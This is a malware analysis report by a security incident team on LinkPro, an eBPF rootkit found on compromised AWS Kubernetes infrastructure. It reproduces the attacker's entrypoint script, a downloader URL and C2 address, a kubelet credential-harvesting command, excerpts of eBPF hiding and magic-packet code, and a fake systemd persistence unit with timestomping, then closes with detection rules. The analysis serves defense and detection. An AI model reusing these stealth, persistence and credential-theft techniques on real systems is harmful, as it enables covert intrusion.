LinkPro: eBPF rootkit analysis

Introduction

eBPF (extended Berkeley Packet Filter) is a technology adopted in Linux for its numerous use cases (observability, security, networking, etc.) and its ability to run in the kernel context while being orchestrated from user space. Threat actors are increasingly abusing it to create sophisticated backdoors and evade traditional system monitoring tools.

Malware such as BPFDoor1, Symbiote2 and J-magic3 demonstrate the effectiveness of eBPF for creating passive backdoors, capable of monitoring network traffic and activating upon receipt of a specific "magic packet". Furthermore, more complex, open-source tools like ebpfkit4 (a proof of concept) and eBPFexPLOIT5, with orchestrators developed in Golang, act as rootkits, with features ranging from establishing secret command and control (C2) channels to process hiding and container evasion techniques.

While recently investigating a compromised AWS-hosted infrastructure, the Synacktiv CSIRT determined a relatively sophisticated infection chain, leading to the installation of a stealthy backdoor on GNU/Linux systems. This backdoor relies on the installation of two eBPF modules: one to conceal itself, and the other to be remotely activated upon receipt of a "magic packet". 

Infection Chain

Forensic analysis identified a vulnerable Jenkins server (CVE-2024–238976) exposed on the internet as the source of the compromise. The latter served as the initial access for the threat actor to then move to the integration and deployment pipeline, hosted on several clusters of the Amazon EKS7⁣ – Elastic Kubernetes Service (standard mode).

From the Jenkins server, the threat actor deployed a malicious docker image named kvlnt/vv (hosted on hub.docker.com before it was removed by support, after we noticed it) on several Kubernetes clusters. The docker image consists of a Kali Linux base with two additional layers.

These layers add the app folder as the working directory, then add three files to it:

1. /app/start.sh: A bash script that serves as the docker image's entrypoint. Its purpose is to start the ssh service, execute the /app/app backdoor, and the /app/link program.

   #!/bin/bash
   sed -i -e 's/#PermitRootLogin /PermitRootLogin yes\n#/g' /etc/ssh/sshd_config
   /etc/init.d/ssh start
   ./app &
   ./link -k ooonnn -w mmm000 -W -o 0.0.0.0/0 || tail -f /var/log/wtmp

2. /app/link : An open-source program called vnt8 that acts as a VPN server and provides proxy capabilities. It connects to a community relay server at vnt.wherewego.top:29872. This allows the threat actor to connect to the compromised server from any IP address and to use it as a proxy to reach other servers on the infrastructure. The command-line arguments specified in the /app/start.sh script are as follows:
   1. -k ooonnn: token that identifies the virtual VLAN on the relay server
   2. -w mmm000: password used to encrypt communications between clients (AES128-GCM)
   3. -W: enables encryption between clients and the server (RSA+AES256-GCM) to prevent token leakage and man-in-the-middle attacks.
   4. -o 0.0.0.0/0: allows forwarding to all network segments.
3. /app/app: A downloader malware that retrieves an encrypted malicious payload from an S3 bucket. The contacted URL is https[:]//fixupcount.s3.dualstack.ap-northeast-1.amazonaws[.]com/wehn/rich.png. In the observed case, this is an in-memory vShell 4.9.3 payload that communicates with its command and control server (56.155.98.37) via WebSocket. The Synacktiv CSIRT names this downloader vGet, due to its direct link with vShell in this case. 

vShell is an already documented backdoor9, notably used by UNC517410. Its source code has not been available on GitHub for about a year. However, a recent version, 4.9.3, along with its (cracked) license, is available for download, allowing various actors to use vShell.

However, there is no open-source publication on vGet, which is developed in Rust and stripped. This malicious code creates a symbolic link /tmp/.del to /dev/null at the beginning of its execution before downloading the vShell payload. vShell, during its execution, initializes the HISTFILE=/tmp/.del environment variable when opening a terminal (at the operator's request). The purpose is to ensure that the command history is not written to a file (ex: .bash_history). It is therefore possible that there is a link between these two programs, and that vGet was specifically developed to execute vShell directly in memory, without leaving traces on the disk.

The recovered vGet sample has few symbols, apart from a reference to the username cosmanking defined in the absolute paths of the Rust dependencies, for example: 

• /Users/cosmanking/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ureq-2.12.1/src/request.rs.

Regarding the docker image, the following mount point is configured:

• Mount point: /mnt
  • Source (the host): /
  • Destination (to the container): /mnt
  • Access: read and write
  • Type: bind

This configuration allows the threat actor to escape the container's context (the running image), accessing the entire filesystem of the root partition with root privileges. 

From the /app/app (vGet) process of the kvlnt/vv pod, a cat command was executed with the goal of retrieving credentials (authentication tokens, API keys, certificates...) available on the host and particularly in other pods. Below is a short excerpt from this command:

cat \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~csi/pvc-[UUID]/mount \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~csi/pvc-[UUID]/vol_data.json \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~projected/kube-api-access-[ID]/ca.crt \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~projected/kube-api-access-[ID]/namespace \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~projected/kube-api-access-hfsns/token \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~secret/webhook-cert/ca \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~secret/webhook-cert/cert \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~secret/webhook-cert/key
[..ETC..]

A few weeks after the deployment of this docker image, the execution of two other malware was observed on several Kubernetes nodes, as well as on production servers. The latter were particularly targeted by the attacking group for financial motives.

The first piece of malicious code is a dropper embedding another vShell backdoor (v4.9.3) executed in memory, this time communicating via DNS tunneling. Regarding the dropper, it is not similar to SNOWLIGHT11, already observed in some publications for dropping vShell, but it has the same purpose. The decryption process is performed in two steps. Here is an excerpt from the sample that the Synacktiv CSIRT analyzed:

Finally, the final payload, which is undocumented and that the Synacktiv CSIRT names LinkPro, is a backdoor exploiting eBPF technology, which could be described as a rootkit due to its stealth, persistence, and internal network pivoting capabilities. 

LinkPro Rootkit

LinkPro targets GNU/Linux systems and is developed in Golang. The Synacktiv CSIRT names it LinkPro in reference to the symbol defining its main module: github.com/link-pro/link-client. The GitHub account link-pro has no public repositories or contributions. LinkPro uses eBPF technology to only activate upon receiving a "magic packet", and to conceal itself on the compromised system.

LinkPro embeds four ELF modules: a shared library, a kernel module, and two eBPF modules:

The different ELF modules are detailed below. However, the kernel module is never used by LinkPro (no implemented function to load it).

Configuration and Communication

Depending on its defined configuration, LinkPro can operate in two ways: passive or active. Its configuration is retrieved in two different ways:

1. Either it is embedded in the binary, structured in JSON, and preceded by the keyword CFG0,
2. Or its default parameters are directly hardcoded into the main function. This method is observed on both samples.

Finally, command-line arguments are also taken into account to modify the default values at runtime:

Usage of <program name>:
  -addsvc
        / systemd disguise
  -connection-mode string
        : forward  reverse (default "reverse")
  -debug string
         (default "false")
  -dns-domain string
        DNS (default "dns.example.com")
  -dns-mode string
        DNS: direct()  tunnel() (default "tunnel")
  -dns-server string
        DNS (: 8.8.8.8:53)
  -ebpf string
         eBPF  (0=,1=) (default "1")
  -hideebpf string
        hide ebpf prog/map/link in /proc (0=,1=) (default "1")
  -jitter string
        () (default "2")
  -key string
        ()
  -pid string
        pid to hide (default "-1")
  -port string
         (default "6666")
  -protocol string
        (httptcpudpdns) (default "http")
  -reverse-port string
        HTTP (default "2233")
  -rmsvc
         systemd disguise
  -server string
         (default "1.1.1.1")
  -sleep string
        () (default "10")
  -version string
         (default "1.0.0")

The -addsvc parameter, observed during the investigation, is used to activate the persistence mechanism. 

Below is the implemented configuration structure of LinkPro:

struct TailConfig // sizeof=0xD0
{
     string ServerAddress;
     string ServerPort;
     string SecretKey;
     string SleepTime;
     string JitterTime;
     string Protocol;
     string DnsDomain;
     string DNSMode;
     string DnsServer;
     string Debug;
     string Version;
     string ConnectionMode;
     string ReversePort;
};

There are two possible values for ConnectionMode: reverse or forward.

1. The reverse connection mode corresponds to a passive mode, where the backdoor listens for commands from the C2. In this mode, two eBPF programs of the eXpress Data Path12 (XDP) and Traffic Control13 (TC) types are installed, with the goal of activating the C2 communication channel only upon receiving a specific TCP packet.
2. The forward connection mode corresponds to an active mode, where the backdoor initiates communication with its C2 server. In this mode, the XDP/TC eBPF programs are not installed.

The two samples identified on the compromised information system have the following configurations:

The DNS fields are only used in the case of communication via the DNS protocol. 

After parsing its configuration, LinkPro generates a unique client ID with the following information:

SHA1sum(hex:"0123456789abcdeffedcba9876543210" | Hostname | Current user | Executable path | Machine ID | MAC Address | "nginx" )

The Machine ID corresponds to the value present in /etc/machine-id or (if non-existent) in /proc/sys/kernel/random/boot_id.

Five communication protocols are possible for the forward (active) mode:

• HTTP
• WebSocket
• UDP (raw)
• TCP (raw)
• DNS (direct/tunneling)

For the reverse (passive) mode, only the HTTP protocol is used. Three URLs are served:

1. /reverse/handshake: identifies the operator's ID (server_id http request parameter) and returns the status success.
2. /reverse/heartbeat: returns the client's information (if the request_client_info parameter is specified) and returns the status ok.
3. and /reverse/operation : executes the operator's commands.

The exchanges are structured in JSON and encrypted with the SecretKey XOR key specified in the configuration.

Then, the following steps are executed in this order:

1. Installation of the "Hide" eBPF module 
2. If the "Hide" module installation fails, or if it has been disabled (-ebpf 0 command-line argument): Installation of a shared library in /etc/ld.so.preload
3. If reverse mode is used, installation of the "Knock" eBPF module
4. Installation of persistence
5. Execution of C2 commands
6. On interruption, deletion of the various modules

The passive sample d5b2202b is used to illustrate the following descriptions. 

LD PRELOAD Module

LinkPro modifies the /etc/ld.so.preload configuration file to specify the path of the libld.so shared library that it embeds, with the goal of hiding various artifacts that could reveal the backdoor's presence. The different steps for libld.so are as follows:

1. Saves the content of /etc/ld.so.preload in memory
2. Extracts libld.so, embedded in the LinkPro binary, to /etc/libld.so
   1. If necessary, /etc is mounted with read and write permissions: mount -o remount,rw /etc
3. Assigns sufficient permissions so that libld.so can be loaded and executed by all users: chmod 0755 /etc/libld.so
4. Replaces the content of the /etc/ld.so.preload file with /etc/libld.so

Thanks to the presence of the /etc/libld.so path in /etc/ld.so.preload, the libld.so shared library installed by LinkPro is loaded by all programs that require /lib/ld-linux.so14. This includes all programs that use shared libraries, such as glibc. 

Once libld.so is loaded at the execution of a program, for example /usr/bin/ls, it hooks (before glibc) several libc functions to modify results that could reveal the presence of LinkPro. Here is the observed behavior for the hooked functions:

• fopen and fopen64: if the process tries to open /proc/net/tcp, /proc/net/tcp6, /proc/net/udp, or /proc/net/udp6. These files provide information on active TCP/UDP connections. If so, the real fopen function is executed. Then, the malicious library retrieves the content of these files and removes LinkPro's network traces. Indeed, any line containing port 2233 (LinkPro's listening port) as a source or destination is deleted. Finally, if the process tries to open a file named ld.so.preload, a "No Such File Or Directory" error is returned.

  

  • Regarding network information, netstat uses the /proc/net files to display ongoing connections. In contrast, ss uses the netlink protocol instead to retrieve this information. The presence of port 2233 listening on the machine can therefore be detected with the ss command, as shown in the following image (openat is the system call used by fopen):

    

  • Furthermore, the LinkPro process name is not indicated in the ss command's output, thanks to the getdents hook explained below.
• getdents and getdents64: the getdents system call is used to list the files in a directory. In this case, libld.so executes getdents then checks for the presence of
  • Filenames containing the keywords .tmp~data (the Linkpro backdoor), libld.so, sshids, and ld.so.preload.
  • Process directories (under /proc/, i.e., the PID) whose command line contains the keyword .tmp~data.
  • If found, the dirent entry is overwritten by the next one.

    

  • NB: The symbols toyincang and toyincanglib specify the keywords .tmp~data and libld.so. "toyincang" can be interpreted in Mandarin Pinyin as "to conceal".
• kill: the kill system call allows sending a signal to a process and takes the target's PID as an argument. The hook implemented by libld.so checks the command line of the targeted process (/proc/<pid>/cmdline) for the presence of the keyword .tmp~data (the Linkpro backdoor). If found, the libc kill function is not executed.
• open and open64: if the process tries to open a file named ld.so.preload, a "No Such File Or Directory" error is returned.
• readdir and readdir64: the libld.so hook executes the legitimate readdir function (lists the files in a directory) then, checks for the presence of:
  • filenames containing the keywords .tmp~data,  libld.so, sshids, ld.so.preload, and .system (the folder containing LinkPro once the persistence mechanism is activated).
  • Process directories (under /proc/, i.e., the PID) whose command line contains the keyword .tmp~data. 
  • If found, the readdir hook returns an empty result.

The following image shows a demonstration of libld.so effects. The -ebpf 0 command-line argument is specified to explicitly disable the "Hide" module and therefore activate the LD Preload library instead.

In summary, libld.so loaded by LinkPro attempts to hide the network traces (listening or destination port) and filesystem traces of the LinkPro backdoor and of libld.so itself from other dynamically linked programs.

"Hide" eBPF Module

The "Hide" module is composed of several eBPF programs of the Tracepoint and Kretprobe types.

TracePoint-type eBPF programs15 are programs that attach to static tracepoints defined by the Linux kernel. They are placed at specific locations in the kernel code, for example on system calls, memory allocation, task scheduling, etc. In particular, tracepoints for system calls are located at the entry (tracepoint/syscalls/sys_enter_syscall) or exit (tracepoint/syscalls/sys_exit_syscall).

Kprobes16 (Kernel Probes) allow an eBPF program to be attached to almost any function (its entry point) in the kernel. Kretprobes, for their part, are triggered when the function returns. This allows for intercepting and modifying the result of a system call. 

The LinkPro rootkit installs these eBPF programs and takes advantage of their capabilities to hide its processes and network activity.

"Hide" Module Installation

First, LinkPro parses the embedded "Hide" ELF module into a specific object (CollectionSpec) using the ebpf-go module17.  The different eBPF objects of the Hide module can be found loaded into memory, namely the maps18 and the programs19. Maps are data structures that can be shared between programs.

LinkPro updates the pids_to_hide_map map with the current PID (Process ID) of LinkPro, as well as the list of PIDs specified on the command line (-pid argument).

LinkPro updates the main_ebpf_progs map to add the file descriptors (FD) of the eBPF programs loaded by LinkPro (the "Hide" and "Knock" modules). 

LinkPro then creates BPF links20 to attach the eBPF programs to instrumentation points in the kernel. The "Hide" eBPF module loaded by the LinkPro backdoor adds hooks to the getdents and getdents64 system calls, with the same objective as the libld.so shared library, which is to hide files specific to LinkPro. Additionally, hooks are placed at the entry and exit of the sys_bpf system call to hide its eBPF maps and programs. Below are the implemented hooks:

• tracepoint/syscalls/sys_enter_getdents -> HandleGetdentsEnter
• tracepoint/syscalls/sys_enter_getdents64 -> HandleGetdents64Enter
• tracepoint/syscalls/sys_exit_getdents -> HandleGetdentsExit
• tracepoint/syscalls/sys_exit_getdents64 -> HandleGetdents64Ext
• tracepoint/syscalls/sys_enter_bpf -> HandleBpfEnter
• kretprobe/sys_bpf -> HandleBpfExit

handle_getdents

The behavior of the functions attached to the getdents and getdents64 tracepoints is similar to libld.so. The result of the getdents system call (sys_exit_getdents) is intercepted. The eBPF program sets up filters to hide:

• Specific files and directories: any entry containing the keywords .tmp~data or .system.
• Specific processes: the process directories (under /proc/) whose identifiers (PIDs) are listed in the pids_to_hide eBPF map (which can contain up to 10 PIDs) are also hidden.

The getdents system call returns a linked list of dirent structures21, where each structure represents a file or directory and contains information like its name, its inode, and the size of the entry, which allows for calculating the position of the next element. Unlike the libld.so hook on getdents, the dirent entry is not directly overwritten by the next record.

Here is how the linked list of dirent structures is modified to hide a file named .tmp~data.resolveld.

Before the eBPF Modification

The list is a succession of records. Each dirent implicitly points to the next one thanks to its own length (d_reclen).

The d_reclen values are given arbitrarily as an example.

After the eBPF Modification

The eBPF program detects .tmp~data.resolveld. It then modifies the length (d_reclen) of the preceding record (File A) by adding the length of .tmp~data.resolveld to it.

The same technique is implemented in the eBPFeXPLOIT project22, with the addition of the filenames and directories to be hidden.

handle_ebpf

Two functions are implemented: HandleBpfEnter, linked to the syscall/sys_enter/bpf tracepoint, and HandleBpfExit, linked to the Kretprobe of sys_bpf. The objective here is to hide the presence of the eBPF programs from tools like bpftool23. The observed code is substantially the same as the one implemented in the EBPFeXPLOIT project24, apart from the addition of extra checks and two calls to bpf_printk, probably used for debugging.

int handleBpfEnter(struct trace_event_raw_sys_enter *ctx) {
    // ...
        if ((!attr_ptr) &&
            (bpf_probe_read_user(&cmd_info.start_id, sizeof(__u32), (void *)attr_ptr) != 0)) 
        {
            bpf_printk("BPF cmd: %d, start_id: %u", cmd, cmd_info.start_id);
            bpf_map_update_elem(&hideEbpfMap, &pid_tgid, &cmd_info, BPF_ANY);       
        }
    //...
}

int handleBpfExit(struct pt_regs *ctx) {
    // ...
                __u8 *is_main = bpf_map_lookup_elem(&main_ebpf_progs, &next_id);
                if (is_main && *is_main == 1) {
                    bpf_printk("HIDING NEXT_ID: %u", next_id);
                    bpf_override_return(ctx, -ENOENT);
                    return 0;
                }
    // ...
}

The outputs of bpf_printk are recorded in the special file /sys/kernel/debug/tracing/trace_pipe. Root access is required to read its content:

root@malux# bpftool prog list

# ..output...

root@malux# cat  /sys/kernel/debug/tracing/trace_pipe
         bpftool-15162   [003] ...21 66902.319601: bpf_trace_printk: BPF cmd: 11, start_id: 0
         bpftool-15162   [003] ...21 66902.319778: bpf_trace_printk: BPF cmd: 11, start_id: 52
         bpftool-15162   [003] ...21 66902.319825: bpf_trace_printk: BPF cmd: 11, start_id: 160
         bpftool-15162   [003] ...21 66902.319867: bpf_trace_printk: BPF cmd: 11, start_id: 161
        # [..etc..]
         bpftool-15162   [003] ...21 66902.320442: bpf_trace_printk: BPF cmd: 11, start_id: 175
         bpftool-15162   [003] ...21 66902.320484: bpf_trace_printk: BPF cmd: 11, start_id: 176
         bpftool-15162   [003] ...21 66902.320528: bpf_trace_printk: BPF cmd: 11, start_id: 177
         bpftool-15162   [003] ...21 66902.320533: bpf_trace_printk: HIDING NEXT_ID: 654

The handlerBpfEnter tracepoint saves the BPF commands of type BPF_PROG_NEXT_ID, BPF_MAP_NEXT_ID, and BPF_LINK_NEXT_ID in a map. After the execution of the sys_bpf system call, the handlerBpfExit hook is triggered.

• The structure of the associated command is retrieved, now containing the result of the system call, which is the ID of the next program, map, or link.
• If the value of cmd_info.attr_pr.next_id is equal to the ID of one of the objects present in the main_ebpfs_progs map, then the return value of sys_bpf is replaced by -ENOENT (No such file or directory). 

The adjacent image shows a demonstration of the "Hide" module loading (-ebpf 1 argument, default value), hiding the eBPF programs from the bpftool utility: 

Note that the FDs of the eBPF maps and links are not included in the main_ebpf_progs map by LinkPro, which is a mistake: although the programs are correctly hidden, it is still possible to list their eBPF maps and links, as well as the PID associated with LinkPro.

Another important point is that the bpf_override_return helper function is only available if the Linux kernel was compiled with the CONFIG_BPF_KPROBE_OVERRIDE configuration option25. This is the case, for example, for relatively recent kernels of Amazon Linux26, or Ubuntu 24.04. If the required kernel option is not enabled, the BPF verifier will reject the program and prevent the "Hide" module from loading. In case of failure, an alternative method is therefore used with the loading of the libld.so library, serving as a fallback solution to hide a portion of LinkPro's artifacts.

"Knock" eBPF Module 

The "Knock" module contains two eBPF programs loaded by LinkPro.

The first is called xdp_ingress and is of the XDP (eXpress Data Path) type.

XDP provides a mechanism for processing network packets via eBPF programs. It is located very early in the processing chain, at the driver level and upstream of the classic Linux network stack27. An XDP eBPF program uses return codes (e.g., XDP_PASS, XDP_DROP, XDP_REDIRECT) to determine the action the Linux kernel should take on the network packet.

The second is called tc_egress and is of the TC (Traffic Control) type.

tc is a tool introduced by the iproute2 package that allows for controlling incoming (ingress) and outgoing (egress) network traffic on an interface. It is possible to attach BPF programs to different TC control points, for example to filter certain packets before they are sent. TC is located between the driver and the network stack, i.e., downstream from XDP. XDP programs can only attach to incoming traffic, not outgoing, which justifies the use of TC in this context.

"Knock" Module Installation

Several steps are required to install the xdp_ingress and tc_egress programs.

1. Detection of the network interface used to communicate with the Internet (e.g., eth0).
2. Creation of a fire directory in the BPF FS. Path: /sys/fs/bpf/fire. The BPF FS is a pseudo virtual filesystem (residing only in memory) that allows for storing BPF programs and maps, as well as pinned objects28 (allows keeping a reference to these objects via a pseudo-file in the BPF FS to ensure their persistence).
3. Loading of the "Knock" module into memory (CollectionSpec object).
4. Update of the conf_map BPF map with the value of the reverse_port attribute present in LinkPro's configuration: port 2233 in this context.
5. Installation of the xdp_ingress program:
   1. Any XDP program already linked to the network interface is detached: ip link set dev eth0 xdp off
   2. Attachment of the xdp_ingress program to the network interface via the creation of a BPF link29
6. Installation of the tc_egress program
   1. Pinning of the tc_egress program to /sys/fs/bpf/fire/tc_egress. This means it has already been loaded into memory by another process (LinkPro) and has been pinned in the BPF virtual filesystem (bpffs).
   2. Attachment of the tc_egress program to the network interface via the following tc commands:
      1. Preparation of the interface: tc qdisc replace dev eth0 clsact
         1. Creates or replaces the queuing discipline (qdisc) on the eth0 interface with clsact (classifier action), providing two attachment points, ingress (incoming packets) and egress (outgoing packets), for filters.
      2. Cleaning up old filters on outgoing traffic: tc filter del dev eth0 egress
      3. Attachment of the tc_egress program to the egress hook of the network interface: tc filter add dev eth0 egress proto all prio 1 handle 1 bpf da pinned /sys/fs/bpf/fire/tc_egress
         1. proto all: the filter applies to packets of all protocols
         2. prio 1: the filter executes with the highest priority
         3. handle 1: identifier for the created filter
         4. bpf: indicates that the filter is a BPF program
         5. da (or direct-action): means that the return value of the eBPF program (e.g., TC_ACT_OK to let it pass, TC_ACT_SHOT to drop) will directly determine the packet's fate
         6. pinned /sys/fs/bpf/tc_egress: tells TC where to find the eBPF program, pinned in the bpffs by LinkPro 

xdp_ingress

The xdp_ingress eBPF program listens to incoming traffic on the attached network interface (reminder: identified by LinkPro as having Internet access). The program monitors for the receipt of a magic packet.

• This magic packet must have the following characteristics: a TCP protocol packet of type SYN, which has a window size value, tcp_header->windows_size, of 54321.
• If such a packet is verified, the xdp_ingress program saves a key in a knock_map map with the value of the packet's source IP and an associated expiration date (one hour) as its value, indicating an open state.
• Additionally, the program saves the following key/value pair in the rev_port map: key: rev_key = { in_port, sip, sport} (sip = source IP, sport = source port), value: dport (destination port). in_port is equal to the value stored in conf_map, which is 2233.
• Finally, the xdp_ingress program returns the XDP_DROP code, instructing the Linux kernel to immediately drop the magic packet. The program has transitioned to the "open" state for this specific source IP address.

if (tcph->syn && tcph->window == bpf_htons(MAGIC_WIN)) {
    bpf_printk("[DBG-KNOCK] 检测到敲门包: sip=%x sport=%u dport=%u win=%u", sip_h, sport_h, dport_h, (data->tcph).window); // (Knock packet detected)
    __u64 exp = bpf_ktime_get_ns() + WIN_NS; // current time + 1 hour
    bpf_map_update_elem(&knock_map, &sip_h, &exp, BPF_ANY);
    bpf_printk("[KNOCK-SET] key=%x exp=%llu", sip_h, exp);

    __u16 in_port = get_in_port()

    struct rev_key rk = {
        in_port,
        sip_h,
        sport_h
    }

    bpf_map_update_elem(&rev_port, &rk, &dport_h, BPF_ANY);

    bpf_printk("[KNOCK] %x:%u -> %u", sip_h, sport_h, dport_h);

    return XDP_DROP;
}

• Open state: The xdp_ingress program monitors for the receipt of TCP packets whose source IP address is the same as the one(s) already registered in knock_map, within a one-hour window after receiving the magic packet.
• In this case, if the destination port does not already correspond to the value of in_port (2233), then xdp_ingress modifies the incoming packet's TCP header to replace the destination port value with in_port. Additionally, to prevent the packet from being dropped by the kernel downstream, the TCP checksum, tcp_header->check_sum, is also recalculated and modified in the TCP header. Finally, xdp_ingress returns the XDP_PASS code to pass the packet along to the rest of the network stack.

bpf_printk("[FOUND] 找到有效敲门记录: sip=%x dport=%u", sip_h, dport_h); // (Found valid knock records)
__u16 in_port = get_in_port()
if (dport_h == in_port) {
    bpf_printk("[SKIP] 已是内部端口: sip=%x dport=%u", sip_h, dport_h); // (Already an internal port)
}
else {
    __u16 old_n = tcph->dest;
    __u32 old32 = (__u32)old_n;
    __u16 new_n = bpf_htons(in_port);
    __u32 new32 = (__u32)new_n;
    __u32 diff  = bpf_csum_diff(&old32, 4, &new32, 4, ~(data->tcph).check); //TCP Checksum Diff
    (data->tcph).dest  = new_n;
    tcph->check = fold_csum(diff);

    bpf_printk("[XDP] REWRITE %x:%u %u→%u", sip_h, sport_h, dport_h, in_port);
}

Finally, if destination port 9999 is used, the program displays additional kernel debug messages:

• [DBG-9999] 收到9999端口包: sip=%x sport=%u, fin=%d syn=%d rst=%d win=%u (Received a packet from port 9999)
• [MISS] 未找到敲门记录: sip=%x dport=%u (No knock record found)

tc_egress

The tc_egress eBPF program listens to outgoing traffic on the attached network interface. The program monitors for the dispatch of a TCP packet whose source port is in_port (2233).

• If such a packet is received, the program checks for the presence in the rev_port map of the key rev_key = { in_port, dip, dport} (dip = destination IP), previously saved by xdp_ingress.
• If found, the outgoing packet's TCP header is modified to restore the original destination port of the incoming packet, which had been replaced by xdp_ingress, at the source port level of the outgoing packet. The checksum is also recalculated. Finally, the packet continues its processing (TC_ACT_OK code is returned) in all cases.

if ((data->tcph).source == bpf_htons(get_in_port())){
    __u16 dport_n = tcph->dest;
    struct rev_key rk = {
        get_in_port(),
        bpf_ntohl((data->iph).daddr),
        bpf_ntohs(dport_n)
    }
    __u16 *knock = bpf_map_lookup_elem(&rev_port, &rk);
    if (!knock) {
        bpf_printk("[TC-MISS] 未找到端口映射: dip=%x dport=%u", bpf_ntohl((data->iph).daddr), bpf_ntohs(dport_n)); // (Port mapping not found)
    }
    else {
        __u16 new_n = bpf_htons(*knock);
        __u16 old_n = (data->tcph).source;
        __u32 o32   = (__u32)old_n;
        __u32 n32   = (__u32)new_n;
        __u32 diff  = bpf_csum_diff(&o32, 4, &n32, 4, ~(data->tcph).check);
        (data->tcph).source = new_n;
        (data->tcph).check  = fold_csum(diff);
        bpf_printk("[TC] REWRITE_BACK %u→%u", get_in_port(), *knock);
    }
}

The objective for LinkPro is therefore to activate the command reception state conditional on receiving an initial "magic packet". Once the magic packet is received, the operator has a one-hour window (which can be reactivated later) to send commands to an arbitrary destination port. The xdp_ingress program's role is to modify the incoming TCP packet's header to replace the original destination port with LinkPro's listening port, which is 2233 in this context. 

Finally, when LinkPro responds to the operator's command, the tc_egress program's role is to modify the outgoing packet to replace the source port (2233) with the original port. The purpose of this maneuver is to allow the operator to activate command reception for LinkPro by going through any port authorized by the front-end firewall. This also makes the correlation between the front-end firewall logs and the network activity of the compromised host more complex. For example: the operator sends their commands to port 443/https of a compromised web server, when in reality the packets are being forwarded to port 2233 internally on the server.  

Persistence

To persist on the host, LinkPro “disguises” itself as the systemd-resolved service (the name resolution service).

1. Mounting the root partition / with read and write permissions by executing the command: mount -o remount,rw /.
2. Copying its own executable to /usr/lib/.system/.tmp~data.resolveld.
3. Adding a systemd unit file in /etc/systemd/system/systemd-resolveld.service:

   [Unit]
   Description=Network Name Resolution Manager
   Documentation=man:systemd-resolved.service(8)
   After=network.target
   [Service]
   Type=simple
   ExecStart=/usr/lib/.system/.tmp~data.resolveld
   Restart=always
   RestartSec=5
   KillSignal=SIGTERM
   
   ProtectSystem=full
   PrivateTmp=true
   NoNewPrivileges=true

4. Timestomping the modification date of /usr/lib/.system/.tmp~data.resolveld and /etc/systemd/system/systemd-resolveld.service to that of the /etc/passwd file: sh -c touch -d "$(stat /etc/passwd | grep Modify | awk '{print $2, $3}')" %s 2>/dev/null
5. Enabling the systemd-resolveld service to start when the system boots: systemctl enable systemd-resolveld.

Self-Deletion

On interruption (SIGHUP, SIGINT, SIGTERM signals), LinkPro uninstalls its programs:

• Knock Module:
  • Deletion of the tc_egress eBPF link by executing the tc commands:
    • tc filter del dev eth0 egress (eth0 being the interface with Internet access in this example)
    • tc qdisc del dev eth0 clsact
  • Deletion of the xdp_ingress eBPF link
  • Deletion of the /sys/fs/bpf/fire directory
• Hide Module: Deletion of the eBPF links, maps, and programs (Tracepoints, Kretprobe)
• Deletion of /etc/libld.so and restoration of the initial content of the configuration file /etc/ld.so.preload

Commands

Once communication with the operator is well established, LinkPro provides the following commands:

arp_diag.ko Kernel Module

The arp_diag.ko kernel module embedded in the LinkPro program is never loaded. The loading of this module on the compromised hosts was also not observed. It has the following version information:

version=1.21
description=UNIX socket monitoring via ARP_DIAG
author=Linux
license=GPL
srcversion=AB501E218EDD1F4EA00642E
depends=
retpoline=Y
name=arp_diag
vermagic=6.8.0-1021-aws SMP mod_unload modversions

This module registers four Kernel probes to attach to the kernel functions tcp4_seq_show, udp4_seq_show, tcp6_seq_show, and udp6_seq_show. These system calls provide the information specified in /proc/net/tcp, /proc/net/tcp6, /proc/net/udp, and /proc/net/udp6. The functions implemented by arp_diag aim to hide the records containing port 2233.

Conclusion

The analysis of the LinkPro rootkit, discovered by the Synacktiv CSIRT on a compromised AWS infrastructure, confirms and deepens the trend of threats exploiting eBPF technology. Following in the footsteps of malware like BPFDoor or Symbiote, LinkPro represents a new step in the sophistication of these backdoors by combining several stealth techniques at multiple levels.

For its concealment at the kernel level, the rootkit uses eBPF programs of the tracepoint and kretprobe types to intercept the getdents (file hiding) and sys_bpf (hiding its own BPF programs) system calls. Notably, this technique requires a specific kernel configuration (CONFIG_BPF_KPROBE_OVERRIDE). If the latter is not present, LinkPro falls back on an alternative method by loading a malicious library via the /etc/ld.so.preload file to ensure the concealment of its activities in user space.

LinkPro also stands out for its operational flexibility, capable of acting either in a passive listening mode or by directly contacting a command and control (C2) server.

• In listening mode (reverse), it deploys an advanced network processing chain based on XDP (ingress) and TC (egress) programs, whose implementation is visibly inspired by the open-source project eBPFeXPLOIT. This mechanism allows it to redirect a "magic packet" to its internal listening port and to hide the communication.

• In direct connection mode (forward) to the C2, this redirection is not necessary and is therefore not used.

Once communication is established, LinkPro provides the operator with advanced functionalities, notably the ability to serve as a pivot point for lateral movement.

No formal attribution to a threat actor could be established, but the objectives of the attack appear to be financial. In conclusion, LinkPro is a concrete example of malware that uses eBPF in an adaptive manner. The combination of kernel hooks, a user-space fallback mechanism (ld.so.preload), and distinct communication modes demonstrates a design specifically conceived to adapt to different system configurations and evade detection.

YARA rules created during this analysis are maintained in synacktiv-rules Github repository.

Mapping MITRE ATT&CK — LinkPro

Indicators of Compromise (IOCs) Table — LinkPro

YARA rules

import "elf"

rule MAL_LinkPro_ELF_Rootkit_Golang_Oct25 {
  meta:
    description = "Detects LinkPro rootkit"
    author = "CSIRT Synacktiv, Théo Letailleur"
    date = "2025-10-13"
    reference = "https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis"
    hash = "1368f3a8a8254feea14af7dc928af6847cab8fcceec4f21e0166843a75e81964"
    hash = "d5b2202b7308b25bda8e106552dafb8b6e739ca62287ee33ec77abe4016e698b"
  strings:
    $linkp_mod = "link-pro/link-client" fullword ascii
    $linkp_embed_libld = "resources/libld.so" fullword ascii
    $linkp_embed_lkm = "resources/arp_diag.ko" fullword ascii
    $linkp_ebpf_hide = "hidePrograms" fullword ascii
    $linkp_ebpf_knock = "knock_prog" fullword ascii

    $go_pty = "creack/pty" fullword ascii
    $go_socks = "resocks" fullword ascii

  condition:
